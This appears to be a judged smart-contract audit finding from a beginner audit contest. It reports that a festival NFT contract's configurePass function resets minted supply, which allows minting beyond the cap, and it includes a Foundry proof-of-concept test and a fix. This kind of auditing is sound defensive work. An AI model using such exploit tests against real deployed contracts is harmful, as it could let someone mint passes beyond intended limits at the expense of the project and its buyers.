Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

[S-1] Pass reconfiguration resets supply tracking allowing unlimited minting (SUPPLY TRACKING BYPASS + UNLIMITED PASS MINTING)

Root + Impact

Description

  • The configurePass function is designed to allow organizers to set pass pricing and maximum supply limits, with passSupply tracking the current number of minted passes to enforce these limits.

  • The function incorrectly resets passSupply[passId] = 0 on every call, breaking supply tracking and allowing unlimited pass purchases after any reconfiguration, completely bypassing the maximum supply protection mechanism.

function configurePass(
uint256 passId,
uint256 price,
uint256 maxSupply
) external onlyOrganizer {
require(passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS, "Invalid pass ID");
require(price > 0, "Price must be greater than 0");
require(maxSupply > 0, "Max supply must be greater than 0");
passPrice[passId] = price;
passMaxSupply[passId] = maxSupply;
@> passSupply[passId] = 0; // Reset current supply
}

Risk

Likelihood:

  • Organizers will reconfigure passes during normal operations to adjust pricing or increase supply limits for popular events

  • The vulnerability triggers immediately when any pass configuration is updated after initial sales begin

Impact:

  • Complete bypass of maximum supply limits allowing unlimited pass minting

  • Economic model collapse as actual pass circulation exceeds intended limits by potentially thousands of passes
    Financial losses to the protocol as passes intended to be scarce become unlimited

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
contract PassReconfigurationExploitTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address public owner;
address public organizer;
address public attacker;
uint256 constant GENERAL_PRICE = 0.05 ether;
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant BACKSTAGE_PRICE = 0.25 ether;
uint256 constant GENERAL_MAX_SUPPLY = 100;
uint256 constant VIP_MAX_SUPPLY = 50;
uint256 constant BACKSTAGE_MAX_SUPPLY = 10;
function setUp() public {
owner = address(this);
organizer = makeAddr("organizer");
attacker = makeAddr("attacker");
// Deploy contracts
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
// Set festival contract in BeatToken
beatToken.setFestivalContract(address(festivalPass));
// Configure passes as organizer
vm.startPrank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, GENERAL_MAX_SUPPLY);
festivalPass.configurePass(2, VIP_PRICE, VIP_MAX_SUPPLY);
festivalPass.configurePass(3, BACKSTAGE_PRICE, BACKSTAGE_MAX_SUPPLY);
vm.stopPrank();
// Fund attacker
vm.deal(attacker, 10 ether);
}
function test_PassReconfigurationExploit() public {
// Fill pass supply to maximum
for (uint i = 0; i < GENERAL_MAX_SUPPLY; i++) {
address user = makeAddr(string(abi.encodePacked("user", i)));
vm.deal(user, 1 ether);
vm.prank(user);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
}
assertEq(festivalPass.passSupply(1), GENERAL_MAX_SUPPLY);
// Verify max supply reached
vm.prank(attacker);
vm.expectRevert("Max supply reached");
festivalPass.buyPass{value: GENERAL_PRICE}(1);
// Organizer reconfigures pass - vulnerability triggers
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 200);
// Supply reset to 0 - exploit now possible
assertEq(festivalPass.passSupply(1), 0);
// Attacker can now buy unlimited passes
vm.prank(attacker);
festivalPass.buyPass{value: GENERAL_PRICE}(1);
assertEq(festivalPass.balanceOf(attacker, 1), 1);
assertEq(festivalPass.passSupply(1), 1); // Should be 101
}
}

Recommended Mitigation

function configurePass(uint256 passId, uint256 price, uint256 maxSupply) external onlyOrganizer {
require(passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS, "Invalid pass ID");
require(price > 0, "Price must be greater than 0");
require(maxSupply > 0, "Max supply must be greater than 0");
+ require(passSupply[passId] == 0, "Cannot reconfigure after passes minted");
passPrice[passId] = price;
passMaxSupply[passId] = maxSupply;
- passSupply[passId] = 0; // Reset current supply
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 25 days ago
Submission Judgement Published
Validated
Assigned finding tags:

configurePass resets the current pass supply circumventing the max supply check

This is not acceptable as high because any attack vectors related to organizer trying to milk ETH from participants is voided by the fact that the organizer is trusted.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.